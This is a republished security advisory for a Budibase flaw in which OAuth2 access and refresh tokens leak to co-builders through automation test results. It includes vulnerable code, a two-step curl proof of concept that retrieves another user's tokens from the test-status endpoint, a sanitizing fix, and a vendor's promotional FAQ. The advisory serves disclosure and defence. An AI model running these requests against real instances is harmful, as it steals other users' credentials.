GHSA-GH4H-34GR-87R7

Budibase: OAuth2 Token Disclosure via Automation Test Results Broadcast to Other Builders

export function getUserContextBindings(user: ContextUser): UserBindings {
  const bindings: UserBindings = {
    _id: user._id,
    email: user.email,
    // ...
  }
  if (isSSOUser(user) && user.oauth2) {
    bindings.oauth2 = {
      accessToken: user.oauth2.accessToken,   // <-- sensitive
      refreshToken: user.oauth2.refreshToken,  // <-- sensitive
    }
  }
  return bindings
}

const user = sdk.users.getUserContextBindings(ctx.user)
return await triggers.externalTrigger(
  { ...automation, disabled: false },
  { ...input, appId, user },  // user with tokens passed as event param
  { getResponses: true, onProgress: emitProgress }
)

const trigger: AutomationTriggerResult = {
  id: data.automation.definition.trigger.id,
  stepId: data.automation.definition.trigger.stepId,
  inputs: null,
  outputs: data.event,  // data.event includes user.oauth2 tokens
}

# Step 1: User A (SSO-authenticated builder) tests an automation asynchronously
curl -X POST http://localhost:10000/api/automations/<automation-id>/test?async=true \
  -H 'x-budibase-app-id: app_dev_<appid>' \
  -H 'Cookie: budibase:auth=<userA_session>' \
  -H 'Content-Type: application/json' \
  -d '{"row": {"tableId": "ta_xxx"}}'
# Returns: {"message": "Automation test started"}

# Step 2: User B (another builder on the same app) polls the test status
curl -X GET http://localhost:10000/api/automations/<automation-id>/test/status \
  -H 'x-budibase-app-id: app_dev_<appid>' \
  -H 'Cookie: budibase:auth=<userB_session>'

# Response includes the full automation result with:
# result.trigger.outputs.user.oauth2.accessToken = "ya29.a0AfH6SM..."
# result.trigger.outputs.user.oauth2.refreshToken = "1//0eXyz..."

• OAuth2 access tokens for external services (Google Workspace, Azure AD, GitHub, etc.) are exposed to co-builders of the same app. These tokens can be used to access external APIs as the victim user.
• OAuth2 refresh tokens provide persistent access, an attacker can generate new access tokens even after the original expires, maintaining long-term access to the victim's external service accounts.
• The attack is passive via WebSocket, an attacker only needs to have the builder UI open to receive tokens when any co-builder tests an automation.
• Test results persist in memory for 5 minutes (TTL in testProgress.ts:15), providing a window for polling-based attacks.

GHSA-GH4H-34GR-87R7 has a CVSS score of 5.7 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

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Strip OAuth2 tokens from automation test results before storing/broadcasting them. The tokens are needed during automation execution but should not be included in the result sent to clients.

In packages/server/src/api/controllers/automation.ts, sanitize the result before passing to emitProgress:

function sanitizeAutomationResult(result: AutomationResults): AutomationResults {
  const sanitized = cloneDeep(result)
  if (sanitized.trigger?.outputs?.user?.oauth2) {
    delete sanitized.trigger.outputs.user.oauth2
  }
  for (const step of sanitized.steps || []) {
    if (step.outputs?.user?.oauth2) {
      delete step.outputs.user.oauth2
    }
  }
  return sanitized
}

Apply sanitization in the emitProgress callback at line 290 and before returning ctx.body at line 342:

emitProgress({
  status: "complete",
  occurredAt: Date.now(),
  result: sanitizeAutomationResult(result),
})

Additionally, the testProgress store should be scoped per-user (keyed by ${appId}:${automationId}:${userId}) so that one builder's test results are not accessible to another builder via the testStatus endpoint.

1. What is GHSA-GH4H-34GR-87R7? GHSA-GH4H-34GR-87R7 is a medium-severity security vulnerability in @budibase/server (npm), affecting versions <= 3.38.1. No fixed version is listed yet.
2. How severe is GHSA-GH4H-34GR-87R7? GHSA-GH4H-34GR-87R7 has a CVSS score of 5.7 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @budibase/server are affected by GHSA-GH4H-34GR-87R7? @budibase/server (npm) versions <= 3.38.1 is affected.
4. Is there a fix for GHSA-GH4H-34GR-87R7? No fixed version is listed for GHSA-GH4H-34GR-87R7 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is GHSA-GH4H-34GR-87R7 exploitable, and should I be worried? Whether GHSA-GH4H-34GR-87R7 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-GH4H-34GR-87R7 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.

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